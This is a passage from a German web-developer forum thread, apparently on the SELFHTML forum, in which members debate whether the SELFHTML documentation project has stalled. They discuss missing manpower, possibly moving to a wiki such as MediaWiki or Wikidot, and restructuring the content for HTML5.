_Robert: Ist SelfHTML tot?

5 462

Ist SelfHTML tot?

_Robert
  • meinung
  1. 4
    Stefan Münz
    1. 0
      Thomas Weise
    2. 0
      Gunther
      1. 0
        suit
        1. 0
          Marc Reichelt
        2. 0
          LX
          1. 0
            suit
            1. 1
              Stefan Münz
              1. 0
                suit
              2. 0
                Edgar Ehritt
                1. 0
                  suit
                  1. 0
                    Edgar Ehritt
                    1. 0
                      suit
              3. 0
                LX
                1. 2
                  Wilhelm Turtschan
                2. 0
                  suit
        3. 1
          Stefan Münz
          1. 0
            suit
          2. 0
            Basti_
    3. 0
      suit
      1. 0
        Mof
        1. 2
          suit
          1. 0
            Mof
            1. 0
              suit
              1. 0

                Mehr als nur dagegen

                Mof
                1. 0
                  Gunther
                  1. 0
                    Mof
                    1. 1
                      suit
                      1. 0
                        Mof
                        1. 1
                          suit
                          1. 0
                            Mof
                            1. 1
                              suit
                              1. 0
                                TomD
                                1. 0
                                  suit
                                  1. 0
                                    TomD
                                    1. 0
                                      suit
                                      1. 0
                                        TomD
    4. 0
      Ale×
      1. 0
        Chräcker
      2. 0
        Længlich
    5. 4
      xwolf
      1. 1
        Stefan Münz
        1. 0
          suit
          1. 1
            Basti_
          2. 0
            Beat
            1. 0
              suit
              1. 0
                Beat
            2. 0
              Felix Riesterer
    6. 0
      Maik W. aus E.
      1. 0
        suit
    7. 6
      jsk
      1. 0
        suit
      2. 0
        Felix Riesterer
        1. 0
          suit
          1. 0
            Wilhelm Turtschan
            1. 0
              Felix Riesterer
            2. 0
              suit
              1. 0
                Wilhelm Turtschan
                1. 0
                  suit
                  1. 0
                    Wilhelm Turtschan
              2. 0
                Beat
      3. 0
        Gunther
        1. 1
          suit
          1. 0
            Gunther
            1. 0
              suit
        2. 0
          Basti_
        3. 1
          Orlando
        4. 2
          Stefan Münz
          1. 0
            suit
          2. 0
            Gunther
            1. 0
              suit
              1. 0

                Def.: Wiki vs. Redaktionssystem

                Gunther
                • sonstiges
                1. 0
                  suit
  2. 2
    Swen
  3. 0

    süß .

    bleicher
    1. 0
      suit
      1. 0
        bleicher
  4. 6
    Thomas J.S.
    1. 3
      Gunther
      1. 1
        Stonie
        1. 0
          Wilhelm Turtschan
        2. 4
          Kai345
          1. 0
            Stonie
          2. 0
            Thomas J.S.
            1. 0
              Kai345
              1. 0
                Thomas J.S.
                1. 2
                  Wilhelm Turtschan
                  1. 0
                    Sven Rautenberg
                2. 0
                  Kai345
                  1. 0
                    suit
    2. 0
      suit
      1. 1
        Thomas J.S.
        1. 1
          suit
    3. 0
      Wilhelm Turtschan
      1. 0
        Thomas J.S.
        1. 0
          suit
          1. 0
            Thomas J.S.
            1. 0
              Felix Riesterer
            2. 0
              suit
              1. 0
                Christian Seiler
                1. 0
                  suit
    4. 4
      Felix Riesterer
      1. 0
        Felix Riesterer
        1. 0
          Wilhelm Turtschan
      2. 0
        Beat
      3. 0
        suit
        1. 0
          suit
          1. 0
            Thomas J.S.
            1. 0
              suit
              1. 0
                Christian Seiler
                1. 0
                  suit
                  1. 0
                    Christian Seiler
                    1. 0
                      Felix Riesterer
                      1. 0
                        Christian Seiler
                        1. 0
                          suit
                          1. 0
                            Christian Seiler
                            1. 0
                              suit
      4. 1
        Detlef G.
      5. 0
        Swen Wacker
      6. 1
        Thomas J.S.
        1. 0
          suit
        2. 0

          Diskutieren bis zum Umfallen oder Alternativen zulassen?

          jobo
          1. 0
            Felix Riesterer
            • menschelei
            1. 0

              Erweiterte Möglichkeiten der Mitwirkung?

              jobo
              1. 0
                jobo
          2. 4
            Swen
            1. 0
              jobo
      7. 0

        Hemmschwelle für MItarbeite senken

        jobo
  5. 3

    Mein Fazit der bisherigen Diskussion

    Gunther
  6. 0
    Siechfred
    1. 2
      Patrick Andrieu
    2. 0
      Thomas J.S.
  7. 7
    Sven Rautenberg
    1. 2
      Gunther
    2. 0
      Jeena Paradies
      1. 0
        Swen
    3. 0
      Beat
  8. 0
    Stefan Münz
    1. 0
      dedlfix
      1. 0
        suit
        1. 0
          dedlfix
          1. 0
            suit
            1. 0
              Felix Riesterer
              1. 0
                suit
                1. 3
                  Gunther
                  1. 0
                    Thomas J.S.
            2. 0
              dedlfix
              1. 0
                suit
                1. 0
                  dedlfix
                  1. 0
                    suit
            3. 0
              Gunther
              1. 0
                suit
    2. 0
      suit
      1. 0
        suit
    3. 4
      Christian Seiler
      1. 0
        Chräcker Heller
        1. 0
          Christian Seiler
          • menschelei
      2. 0
        Stefan Münz
        1. 2
          Christian Seiler
          1. 0
            Stefan Münz
            1. 2
              dedlfix
              1. 0
                Stefan Münz
                1. 0
                  Tim Tepaße
                2. 0
                  dedlfix
  9. 0
    Chräcker Heller
    1. 1
      dedlfix
    2. 0
      Gunther
    3. 0
      molily
      1. 0
        Beat
    4. 1
      suit
    5. 0
      Beat
  10. 0

    SELFCamp - das Barcamp zum Wiki

    Maik W. aus E.
    1. 2
      Gunther
      1. 0
        Maik W. aus E.
    2. 0
      Marc Reichelt
      1. 0
        suit
        1. 0
          Marc Reichelt
    3. 0

      Mögliche Location für das SELFCamp

      Maik W. aus E.
  11. 0

    Wünsche & Anregungen, Ist & Soll

    Marc Reichelt
    1. 0
      Gunther
    2. 0
      suit
      1. 1
        Tim Tepaße
  12. 8

    Ungefragte Ratschläge

    molily
    1. 2
      Thomas J.S.
      1. 0
        Stefan Münz
        1. 2
          Christian Seiler
          1. 0
            Christian Seiler
            1. 0
              Stefan Münz
        2. 0
          Chräcker Heller
        3. 1
          Thomas J.S.
      2. 0
        Chräcker Heller
      3. 1
        molily
    2. 1
      Beat
    3. 1
      Christian Seiler
      1. 0
        molily
        1. 0
          Christian Seiler
    4. 0
      Swen
    5. 0

      Ihr habt Vorschläge? Wir hören euch!

      Marc Reichelt
      1. 0
        Felix Riesterer
      2. 3
        Swen
      3. 0
        suit
        1. 0
          dedlfix
        2. 0
          Stefan Münz
          1. 0
            dedlfix
            1. 0
              Orlando
              1. 0
                dedlfix
                1. 0
                  Orlando
                  1. 0
                    Christian Kruse
                    1. 0
                      Swen
                      1. 0
                        Christian Kruse
                        1. 0
                          Orlando
                          1. 0
                            Christian Kruse
                      2. 0
                        Orlando
                        1. 1
                          Christian Kruse
                          1. 2
                            Swen
                            1. 0
                              Christian Kruse
            2. 0
              Swen
              1. 0
                dedlfix
                1. 0

                  wiki ist anarchisch, demokratisch, diktatorisch?

                  jobo
          2. 0
            suit
          3. 0
            jobo
    6. 4
      Edgar Ehritt
      1. 1
        Bademeister
        1. 0
          Edgar Ehritt
      2. 4
        molily
  13. 0

    Herzlichen Glückwunsch - es ist ein Wiki!

    Marc Reichelt
    1. 0
      Der Martin
      1. 0
        dedlfix
        1. 0
          Der Martin
          1. 0
            Felix Riesterer
      2. 0
        Marc Reichelt
    2. 0
      dedlfix
      1. 0
        Beat
        1. 0
          dedlfix
          1. 0
            Beat
            1. 0
              dedlfix
          2. 0
            suit
      2. 0
        suit
      3. 0
        Marc Reichelt
        1. 0
          dedlfix
    3. 0
      Gunther
      1. 0
        Marc Reichelt
        1. 0
          ChrisB
    4. 0
      Kai345
      1. 1
        Gunther
        1. 0
          EKKi
          1. 0
            Gunther
            1. 0
              dedlfix
              1. 0
                Basti_
                1. 0
                  suit
        2. 0
          Kai345
          1. 0
            Gunther
            1. 0
              Kai345
      2. 0
        suit
      3. 0
        Marc Reichelt
        1. 0
          Kai345
          1. 0
            Der Martin
            1. 0
              Kai345
    5. 0
      Beat
      1. 0
        Marc Reichelt
        1. 0
          Beat
    6. 1
      Stefan Münz
      1. 2
        dedlfix
        1. 0
          Tim Tepaße
      2. 0
        Kai345
      3. 0
        suit
        1. 0
          Stefan Münz
      4. 0
        Christian Seiler
        1. 0
          Stefan Münz
          1. 2
            Christian Seiler
            1. 1
              Christian Seiler
        2. 0

          sandboxed content

          Felix Riesterer
          1. 0
            Christian Seiler
            1. 0
              Felix Riesterer
              1. 0
                Christian Seiler
                1. 0
                  Der Martin
                2. 0
                  Felix Riesterer
                  1. 1
                    Christian Seiler
                    1. 0
                      Felix Riesterer
                      1. 1
                        Christian Seiler
                        1. 1
                          Felix Riesterer
                          1. 0
                            flowh
                          2. 0
                            Auge
            2. 0
              Gunther
              1. 0
                Christian Seiler
                1. 0
                  Gunther
                  1. 0
                    Auge
          2. 0
            Marc Reichelt
            1. 0
              Felix Riesterer
              1. 0
                Christian Seiler
                1. 0
                  ChrisB
                  1. 0
                    suit
                2. 0
                  Gunther
      5. 0
        Marc Reichelt
        1. 0
          O'Brien
          1. 0
            dedlfix
        2. 0

          Perl (Technik XY) im WIKI

          Beat
    7. 0
      dedlfix
      1. 0
        Stefan Münz
        1. 0
          dedlfix
      2. 0
        Christian Seiler
        1. 0
          dedlfix
          1. 1
            Christian Seiler
        2. 0
          suit
          1. 0
            Christian Seiler
    8. 0
      Edgar Ehritt
      1. 0
        Marc Reichelt
    9. 0
      Basti_
      1. 0
        Marc Reichelt
    10. 0
      suit
      1. 0
        Marc Reichelt
        1. 0
          suit
        2. 0
          Auge
          1. 0
            Thomas J.S.
    11. 0
      Swen
      1. 0
        Marc Reichelt
        1. 1
          Swen
    12. 3

      Lizenz

      ChrisB
      1. 0

        Lizenz -- Liberalität wäre hilfreich

        Bernhard
        1. 0
          Thomas J.S.
          1. 0
            molily
            1. 0
              Thomas J.S.
    13. 0

      Statusbericht rund um das Wiki + Lizenz

      Marc Reichelt
      • zur info
      1. 0
        dedlfix
        1. 0
          Der Martin
          1. 0
            dedlfix
            1. 0

              Lizenz

              Felix Riesterer
              • meinung
              1. 0
                Marc Reichelt
                1. 0
                  Edgar Ehritt
                  1. 0
                    dedlfix
                    1. 0
                      Edgar Ehritt
                  2. 0
                    Thomas J.S.
                    1. 0
                      Edgar Ehritt
              2. 0
                dedlfix
                1. 0
                  Felix Riesterer
                  1. 0
                    dedlfix
          2. 0
            Beat
            1. 0
              dedlfix
      2. 0

        ND (Unveränderbarkeit) inkompatibel mit Wiki-Prinzip!

        Bernhard
        1. 0
          dedlfix
          1. 0
            Marc Reichelt
        2. 0
          Marc Reichelt
          1. 0
            Bernhard
        3. 0
          Thomas J.S.
          1. 4
            molily
            1. 0
              Felix Riesterer
              1. 0
                dedlfix
            2. 0
              Thomas J.S.
              1. 0
                Patrick Andrieu
            3. 0

              Eure Wahl: BY-ND oder BY-SA?

              Marc Reichelt
              • meinung
              1. 0

                Wer ist Rechtsträger und Herausgeber der Lizenz?

                Edgar Ehritt
                1. 0
                  Jens Holzkämper
                  1. 0
                    Edgar Ehritt
                    1. 0
                      Jens Holzkämper
                      1. 0
                        Edgar Ehritt
                        1. 0
                          Sven Rautenberg
                          1. 0
                            Edgar Ehritt
                            1. 0
                              Sven Rautenberg
                              1. 0
                                Edgar Ehritt
                                1. 0
                                  Jens Holzkämper
              2. 0
                dedlfix
                1. 0
                  Der Martin
                  1. 0
                    Bernhard
                    1. 0
                      dedlfix
                      1. 0

                        Zurückziehen von Lizenzen

                        Bernhard
                        1. 0

                          Lesen, wenn möglich dann ausgeschlafen

                          Auge
                          1. 0

                            Antwort - unausgeschlafen, aber trotzdem

                            Bernhard
                            1. 0
                              Auge
                              1. 0
                                dedlfix
                  2. 0
                    dedlfix
                    1. 0
                      Der Martin
                      1. 0
                        dedlfix
                        1. 0
                          Der Martin
              3. 0
                flowh
              4. 0

                Eher BY-SA

                Bernhard
              5. 0
                Jens Holzkämper
            4. 0
              dedlfix
              1. 0
                dedlfix
          2. 0
            Swen
      3. 0
        Gunther
        1. 0
          Christian Seiler
          1. 0
            Gunther
            1. 0
              dedlfix
        2. 1
          Sven Rautenberg
          1. 0
            Gunther
            1. 0
              dedlfix
            2. 0
              Thomas J.S.
              1. 2
                Swen
                1. 0
                  Thomas J.S.
      4. 3

        Die gültige Lizenz hat sich bewährt

        Orlando
        • recht
        1. 0
          Jens Holzkämper
          1. 0
            dedlfix
            1. 0
              Jens Holzkämper
              1. 0
                dedlfix
                1. 0
                  Jens Holzkämper
                  1. 0
                    dedlfix
                    1. 0
                      dedlfix
                      1. 0
                        Jens Holzkämper
                        1. 0
                          Jens Holzkämper
                          1. 0
                            Sven Rautenberg
                            1. 0
                              Jens Holzkämper
                              1. 0
                                Thomas J.S.
                    2. 0
                      Jens Holzkämper
                      1. 0
                        dedlfix
                        1. 0
                          Jens Holzkämper
                          1. 0
                            dedlfix
                            1. 0
                              Jens Holzkämper
            2. 0
              Bernhard
          2. 1
            Orlando
            1. 0
              Jens Holzkämper
              1. 0
                Orlando
                1. 0
                  dedlfix
                  1. 0
                    Orlando
                    1. 0
                      dedlfix
            2. 0
              dedlfix
      5. 0
        suit
  14. 0
    Patrick Andrieu
    1. 0

      Hat eine Sockenpuppe den Thread initiiert?

      jobo
      1. 0
        Swen
        1. 0
          jobo
          1. 0
            Swen
  15. 0

    Beiträge futsch?

    Bernhard
    • zu diesem forum
    1. 0
      Struppi
      1. 0

        Beiträge futsch? -- Danke

        Bernhard
        1. 0
          jobo
  16. 0

    Fortlaufende Statusberichte? Gibts die?

    jobo
    1. 0
      suit
      1. 0
        jobo
    2. 0
      Vinzenz Mai
      1. 0
        jobo
        1. 0
          Vinzenz Mai
          1. 0
            jobo
            1. 0
              suit
              1. 0
                jobo
                1. 0
                  Vinzenz Mai
                  1. 0
                    jobo
                    1. 0

                      Bookmarklet und Framework-Einsatz

                      Vinzenz Mai
                      • javascript
                    2. 0
                      Patrick Andrieu
                      1. 0
                        Vinzenz Mai
                        1. 0

                          formerly known as

                          jobo
                          1. 0
                            Patrick Andrieu
                            1. 0
                              jobo
                              1. 0
                                Patrick Andrieu
                                1. 0
                                  jobo
    3. 0
      Thomas J.S.
      1. 0

        Fortlaufende Statusberichte? Gibts die? ah, im weblog

        jobo
  17. 0

    Rechtemanagement im Wiki (Redakteure vs. Zuschauer)

    Swen
    1. 0
      jobo
      1. 0
        Swen
        1. 0
          jobo
          1. 2
            Swen
            1. 0

              Qualtitätskontrolle und Funktionärsübersicht

              jobo
              1. 0
                Swen
                1. 0
                  jobo
        2. 2

          Sichterrechte nur für "Redakteure"

          suit
          1. 0
            Swen
            1. 0
              Vinzenz Mai
    2. 0
      Christian Seiler
      1. 0
        flowh
      2. 0
        Swen
      3. 0
        Vinzenz Mai

Ich habe mich heute mal durch die statische Vorschauversion von SELFHTML 9 geklickt, da die "aktuelle" Version ja nun schon fast drei Jahre alt ist. Was ich da zu sehen bekam, war eigentlich nichts. Egal was ich angeklickt habe, letztendlich landete ich immer auf einer inhaltslosen Seite, wo lediglich drin stand, was da mal hinkommen soll.

Ist SelfHTML tot?

Ich würde mich natürlich freuen, wenn dem nicht so wäre, aber für mich sieht es momentan nicht danach aus.

(Kann mir an dieser Stelle jemand ähnliche deutschsprachige Seiten empfehlen, welche auf aktuellem Stand sind?)

  1. Hallo Robert,

    Ist SelfHTML tot?

    Es wäre besser, wenn das Dev-Team offen zugeben würde: wir schaffen das so nicht, wir haben zu wenig Manpower, zu wenig Zeit, uns fehlen typische Redakteure, und auch konzeptionell ist manches noch unklar. Wir wünschen uns eine offene Diskussion in der Webszene darüber, wie es mit SELFHTML weitergehen soll.

    Es wäre noch besser, wenn eine solche offene Diskussion über die Zukunft von SELFHTML dann auch tatsächlich zustande käme. Vielleicht wären inhaltlich aktivere Gruppen wie etwa die Webkrauts bereit, die Weiterentwicklung von SELFHTML zu übernehmen und in ihr eigenes Konzept zu integrieren.

    Über all solche Möglichkeiten lässt sich jedoch erst reden, wenn das Dev-Team ehrlich zugibt, dass es so nicht weitergehen kann. Das wäre überhaupt keine Schande. Eine Schande wäre es nur, den guten Namen, den SELFHTML in weiten Kreisen immer noch hat, verrotten zu lassen, weil man zwar die "Hoheit" hat, aber letztlich nichts tut.

    (Kann mir an dieser Stelle jemand ähnliche deutschsprachige Seiten empfehlen, welche auf aktuellem Stand sind?)

    Was HTML und CSS betrifft, ist in deutscher Sprache glaube ich die Einführung von Michael Jendryschik die aktuellste und gründlichste:
    Einführung in XHTML, CSS und Webdesign.

    viele Grüße
    Stefan Münz

    1. Hallo Stefan,

      falls beide Punkte eintreten würden, dann wäre das natürlich eine feine Sache!
      Also ich meine, erstmal eine Aussage des Dev-Teams und falls sich dann die Webkrauts dazu bereiterklären würden...
      Aber das ist halt auch ein Haufen Aufwand.
      Ich bin gespannt.

      Gruß thomas

    2. Hallo Robert, hallo Stefan!

      @Stefan: Schön mal wieder etwas von dir zu hören! ;-)

      Ist SelfHTML tot?

      Mein Eindruck (als regelmäßiger Mitleser und Beobachter): Ja!

      Es wäre besser, wenn das Dev-Team offen zugeben würde: wir schaffen das so nicht, wir haben zu wenig Manpower, zu wenig Zeit, uns fehlen typische Redakteure, und auch konzeptionell ist manches noch unklar. Wir wünschen uns eine offene Diskussion in der Webszene darüber, wie es mit SELFHTML weitergehen soll.

      Hier sprichst du imho u.a. einen der entscheidenden Punkte an, nämlich "... wir schaffen das so nicht, wir haben zu wenig Manpower, zu wenig Zeit, uns fehlen typische Redakteure ...".

      Der gesamte Bereich des "Webpublishing" ist doch wie ein riesiger Luftballon, der immer weiter "aufgeblasen" wird. Nicht nur dass sich die grundlegende Technik 'HTML' stetig (wenn auch langsam) weiterentwickelt, Stichwort 'HTML5', es kommen auch immer mehr andere "Techniken" dazu, die selber wiederum demselben Prozess unterliegen. Sei es durch immer neue Standards (wie bspw. bei CSS) oder durch weit verbreitete und häufig verwendete Frameworks, wie es speziell bei Javascript zu beobachten ist.

      Das alleine bringt mich persönlich schon zu der Ansicht, dass eine Fortführung der reinen SELFHTML Dokumentation in ihrer ursprünglichen Form schon rein umfänglich kaum mehr zu bewältigen ist.

      Vielmehr stellt sich für mich aber auch die Frage nach dem Nutzen, die eine solche "reine Dokumentation mit Einzelbeispielen" heutzutage überhaupt noch hat und vorallem für wen?

      Hier stellt sich also imho die Frage nach der Zielgruppe. Denn der Versuch, (auch weiterhin) die breite Masse, also Einsteiger ebenso wie Fortgeschrittene und Profis gleichermaßen erreichen zu wollen, erscheint mir ebenfalls als eher unmöglich.

      Hier scheint mir eine klare Trennung/ Aufteilung, wie sie ja eigentlich in Ansätzen auch schon lange vorhanden ist, die einzig sinnvolle und machbare Alternative zu sein.

      Für Einsteiger die bisherige (lexikalische) Dokumentation, und für alle anderen eine stetig wachsende (Fach-)Artikel Sammlung zu bestimmten Themen, also eine Art Sammlung von "Best Practices" sozusagen.

      Ein imho sehr schönes Beispiel dafür ist die englischsprachige Seite Nettuts+.

      Es wäre noch besser, wenn eine solche offene Diskussion über die Zukunft von SELFHTML dann auch tatsächlich zustande käme. Vielleicht wären inhaltlich aktivere Gruppen wie etwa die Webkrauts bereit, die Weiterentwicklung von SELFHTML zu übernehmen und in ihr eigenes Konzept zu integrieren.

      Die von dir angesprochene Gruppe ist wohl die derzeit größte deutschsprachige Gruppierung dieser Art. Imho hat aber bspw. der letztjährige Adventskalender deutlich die angepeilte Zielgruppe wiedergespiegelt.

      Persönlich vermisse ich u.a. aber vorallem auch eine gewisse kritische Betrachtungsweise, gerade im Bezug auf die verschiedenen Weiterentwicklungen in den einzelnen Bereichen. Aber vermutlich muss man das als Freiberufler, bzw. Angestellter in diesem Bereich eher durch eine rosarote Brille betrachten, um nicht einer gewissen Verzweiflung/ Frustration anheim zu fallen.

      Gelegentliche gegenseitige Kommentare der "beiden Lager" lassen die mitunter sehr verschiedenen Betrachtungs- und Interpretationsweisen sehr schön zu Tage treten (wie ich finde).

      Über all solche Möglichkeiten lässt sich jedoch erst reden, wenn das Dev-Team ehrlich zugibt, dass es so nicht weitergehen kann. Das wäre überhaupt keine Schande. Eine Schande wäre es nur, den guten Namen, den SELFHTML in weiten Kreisen immer noch hat, verrotten zu lassen, weil man zwar die "Hoheit" hat, aber letztlich nichts tut.

      Was ich in erster Linie immer nicht verstehe ist, dass man das enorme Potential, welches sich alleine hier im Forum findet, dermaßen ungenutzt lässt.

      Einen weiteren Grund für die quasi nicht mehr stattfindende Weiterentwicklung/ Aktualisierung sehe ich auch in dem im Web allgemein zu beobachtenden Phänomen, dass viele "Projekte" quasi von "Einzelkämpfern" gestemmt werden - zumindest solange, wie sie dies bewältigen können. Der Grund hierfür scheint mir hauptsächlich darin zu liegen, dass es von den berühmten "Wegen nach Rom" gerade bei Webprojekten so viele gibt, dass die Wahrscheinlichkeit, dass jeder einen anderen wählen würde, recht hoch ist. Umgekehrt ist aber wiederum die Bereitschaft sich für Dinge zu engagieren, deren Richtung durch andere vorgegeben wird, äußerst gering. Das haben u.a. solche "Experimente" wie der Versuch mit der Wiki-Lösung oder dem Layout-Wettbewerb imo sehr deutlich gezeigt.

      Es ist also sowieso sehr schwierig, überhaupt User zur Mitarbeit an einem Web-Projekt zu bewegen. Der hohe "Qualitätsanspruch" (so sinnvoll oder berechtigt er auch sein mag), tut ein Übriges.

      Einen "Vorwurf" muss ich aber auch an die Verantwortlichen richten, nämlich die imho fast gänzlich fehlende Kommunikation nach außen und die somit auch nicht stattfindende "Werbung" um aktive Mitarbeit(er) und Unterstützer.

      Denn gerade in diesem Bereich, bei all den boomenden "Social-Diensten" im Web heutzutage, sollte Kommunikation & Interaktion doch recht "einfach" möglich sein. Hier sollte man imho mal die aktuell verwendeten Techniken und Anwendungen überdenken, die imo eher abschrecken als einladen/ motivieren mitzumachen.

      Gruß Gunther

      1. Was ich in erster Linie immer nicht verstehe ist, dass man das enorme Potential, welches sich alleine hier im Forum findet, dermaßen ungenutzt lässt.

        Sehe ich auch so - auch sehe ich das aktuelle SELFHTML9-Vorhaben als etwas überzogen. Es würde ausreichen, SELFHTML8 zu überarbeiten. Die Basis ist gut, nur einige Artikel sind halt leider teilweise veraltet oder nicht mehr aktuell.

        Ggf. wäre es nochmal eine Überlegung Wert auf MediaWiki umzusteigen und die Mitarbeit auf Ausgewählte Teilnehmer zu beschränken. Die Performance-Geschichte ist in anbetracht der Existenz anderer riesiger Wikis (die Wikimedia-Projekte wie etwa Wikipedia oder z.B. Wikia) auf MediaWiki-Basis mittlerweile ziemlich nichtig.

        1. Hallo suit,

          Was ich in erster Linie immer nicht verstehe ist, dass man das enorme Potential, welches sich alleine hier im Forum findet, dermaßen ungenutzt lässt.

          Das Potential hier im Forum ist sicherlich enorm. Das liegt aber zumeist daran, dass die zu lösenden Probleme hier innerhalb kurzer Zeit beschrieben und auch i.d.R. in wenigen Minuten gelöst werden können. Das kann man nicht mit einem größeren Projekt, wie es SELFHTML ist, vergleichen.

          Ich denke, dass es derzeit vor allem an Leuten fehlt, die das Projekt in Vollzeit fortführen können. Die Schritte, die man nebenher machen kann, sind einfach derzeit so klein, dass sie in der Masse an Information, die SELFHTML bietet (Momentan bietet? Bieten soll? Bieten kann?) untergehen.

          Grüße

          Marc Reichelt || http://www.marcreichelt.de/

          --
          DPRINTK("Last time you were disconnected, how about now?");
                  linux-2.6.6/drivers/net/tokenring/ibmtr.c
          Selfcode: ie:{ fl:| br:> va:} ls:< fo:} rl:( n4:( ss:) de:> js:| ch:? sh:| mo:) zu:)
        2. Ich bin auch für ein Wiki, um die Einstiegshürden herabzusetzen. Allerdings ist MediaWiki, wie man inzwischen selbst bei WikiMedia zugeben muss, nicht der Weisheit letzter Schluss. Ein System, welches Wiki und fortgeschrittene Versionskontrolle vereint, wäre vermutlich die beste Lösung.

          Gruß, LX

          --
          RFC 1925, Satz 6a: Es ist immer möglich, einen weiteren Umweg einzufügen.
          RFC 1925, Satz 11a: Siehe Regel 6a
          1. Ich bin auch für ein Wiki, um die Einstiegshürden herabzusetzen. Allerdings ist MediaWiki, wie man inzwischen selbst bei WikiMedia zugeben muss, nicht der Weisheit letzter Schluss. Ein System, welches Wiki und fortgeschrittene Versionskontrolle vereint, wäre vermutlich die beste Lösung.

            Ich bin ebenfalls der Meinung dass MediaWiki nicht unbedingt der Renner ist, aber mangels wirklich guter Alternativen wirds etwas schwierig.

            Es wäre von Vorteil, einfach mal zu machen - ich bin mir sicher dass ein künftiges, besseres Wiki die Daten aus MediaWiki importieren können wird.

            1. Hallo suit,

              also wenn ihr schon das arme SELFHTML-Team mit einer Neuauflage der Wiki-Diskussion piesacken wollt: ich tät Wikidot nehmen (also nicht die hosted Plattform, sondern die Software dahinter, self-hosted).

              viele Grüße
              Stefan Münz

              1. also wenn ihr schon das arme SELFHTML-Team mit einer Neuauflage der Wiki-Diskussion piesacken wollt:

                Ja, will ich - und jetzt ist grade wieder eine gute Gelegenheit.

                ich tät Wikidot nehmen (also nicht die hosted Plattform, sondern die Software dahinter, self-hosted).

                Müsste man ausprobieren, aber das ist nicht meine Aufgabe ;) ich persönlich bevorzuge MediaWiki (mehrfach im Einsatz) andere Wikis haben mich bisher nicht überzeugt - ich muss aber gestehen dass mein letzter Vergleich schon etwa 2 1/2 Jahre her ist und ich dabei lediglich DokuWiki, MediaWiki, MoinMoin und TikiWiki vergleichen habe.

              2. Hallo,

                also wenn ihr schon das arme SELFHTML-Team mit einer Neuauflage der Wiki-Diskussion piesacken wollt:

                zumindest was die Stoffsammlung zu den einzelnen Themen betrifft, könnte das eine erhebliche Hilfe sein. Auch sonst könnte sich eine Kommentarfunktion an den einzelnen Abschnitten eines Dokuments als hilfreich erweisen, Änderungsvorschläge oder Fehlermeldungen entgegenzunehmen oder sogar zu verwalten und zu diskutieren.

                Gruß aus Berlin!
                eddi

                1. [...] Auch sonst könnte sich eine Kommentarfunktion an den einzelnen Abschnitten eines Dokuments als hilfreich erweisen, Änderungsvorschläge oder Fehlermeldungen entgegenzunehmen oder sogar zu verwalten und zu diskutieren.

                  Ja, aber warum das Rad neu erfinden - ein Wiki (muss ja nicht MediaWiki sein) ist nahezu perfekt für das Vorhaben geeignet.

                  1. Hallo,

                    [...] Auch sonst könnte sich eine Kommentarfunktion an den einzelnen Abschnitten eines Dokuments als hilfreich erweisen, Änderungsvorschläge oder Fehlermeldungen entgegenzunehmen oder sogar zu verwalten und zu diskutieren.

                    Ja, aber warum das Rad neu erfinden - ein Wiki (muss ja nicht MediaWiki sein) ist nahezu perfekt für das Vorhaben geeignet.

                    Von einem Link http://de.selfhtml.org/gebiet/bereich/thema#einzelheit kommend sollte man dann auch zu http://eingaben.de.selfhtml.org/gebiet/bereich/thema/einzelheit sozusagen backstage gelangen. Zu Deinem Aber sehe ich keinen inhaltlichen Grund. Nichts meinerseits sprach für oder gegen ein Wiki-System.

                    Gruß aus Berlin!
                    eddi

                    1. Nichts meinerseits sprach für oder gegen ein Wiki-System.

                      Natürlich - dein Vorschlag war allgemein gehalten. Ein Wiki-System bietet dieses Feature aber bereits inherent - das spart zeit. Soweit ich das jetzt im gefühl habe, wird bei SELFHTML ein großer Teil der Zeit mit der Technik dahinter "verschwendet".

              3. Die Software sieht zwar ganz shiny aus, aber das PHP und PostgreSQL dahinter ist wirklich nicht so elegant, wie es in anderen Sprachen und mit anderen DBs sein könnte. Was sagen die Backend-Leute hier im Forum?

                Gruß, LX

                --
                RFC 1925, Satz 6a: Es ist immer möglich, einen weiteren Umweg einzufügen.
                RFC 1925, Satz 11a: Siehe Regel 6a
                1. habe d'ehre

                  Die Software sieht zwar ganz shiny aus, aber das PHP und PostgreSQL dahinter ist wirklich nicht so elegant, wie es in anderen Sprachen und mit anderen DBs sein könnte. Was sagen die Backend-Leute hier im Forum?

                  hmmhh, was ist jetzt wichtiger: eleganter Code oder ein funktionierendes System?

                  Servus

                2. Die Software sieht zwar ganz shiny aus, aber das PHP und PostgreSQL dahinter ist wirklich nicht so elegant, wie es in anderen Sprachen und mit anderen DBs sein könnte. Was sagen die Backend-Leute hier im Forum?

                  Die harte Wahrheit ist, dass auch MediaWiki eine Katastrophe ist, das würde kaum etwas ändern. Leider ist das bei vielen großen Open-Source-Projekten so, die über die Zeit einfach so gewachsen sind - aber es funktioniert und jemand anderer kümmert sich darum, dass es läuft, findet Sicherheitslücken und sorgt für Patches. Man kann sich dann selbst um andere Dinge kümmern.

        3. Hallo suit,

          Sehe ich auch so - auch sehe ich das aktuelle SELFHTML9-Vorhaben als etwas überzogen. Es würde ausreichen, SELFHTML8 zu überarbeiten. Die Basis ist gut, nur einige Artikel sind halt leider teilweise veraltet oder nicht mehr aktuell.

          Naja, wenn man den HTML-Part auf HTML5 umstellen will, ist es nicht ganz einfach, alles so zu lassen wie es ist und nur die neuen Elemente irgendwo mit reinzupacken. Das würde zu Recht Kritik hervorrufen. HTML5 verlangt vor allem eine Einführung in die zahlreichen neuen Konzepte, die ja viel mehr umfassen als nur ein paar Markup-Neuerungen. Die APIs hinter Elementen wie canvas oder datalist müssten verständlich vermittelt werden. War HTML 4.0 geprägt durch die Verzahnung von HTML und CSS, so ist HTML5 zusätzlich durch die engere Verzahnung von HTML und ECMA-Scripting geprägt. Diese Verzahnung muss in die Doku mit einfließen. Die bisherige Einführung in JavaScript müsste deutlich überarbeitet werden und sich vermehrt mit den neueren Programmiertechniken befassen. Das Kapitel über DHTML sollte rausfliegen und durch ein Kapitel für zusammenhängende Beispiele "Webanwendungen mit HTML5" ersetzt werden. Perl würde ich auch komplett rausschmeißen. Eventuell sogar die komplette Serverseite - mit Ausnahme von kontextabhängigen Beispielen, etwa bei Ajax. Stattdessen würde ich die "technischen Ergänzungen" weiter ausbauen um diverse Referenzinformationen. z.B. um eine Referenz der HTTP-Request-Felder, und vieles, vieles mehr. OK - ich rede zu viel ... :-)

          viele Grüße
          Stefan Münz

          1. Sehe ich auch so - auch sehe ich das aktuelle SELFHTML9-Vorhaben als etwas überzogen. Es würde ausreichen, SELFHTML8 zu überarbeiten. Die Basis ist gut, nur einige Artikel sind halt leider teilweise veraltet oder nicht mehr aktuell.

            Naja, wenn man den HTML-Part auf HTML5 umstellen will, ist es nicht ganz einfach [...]

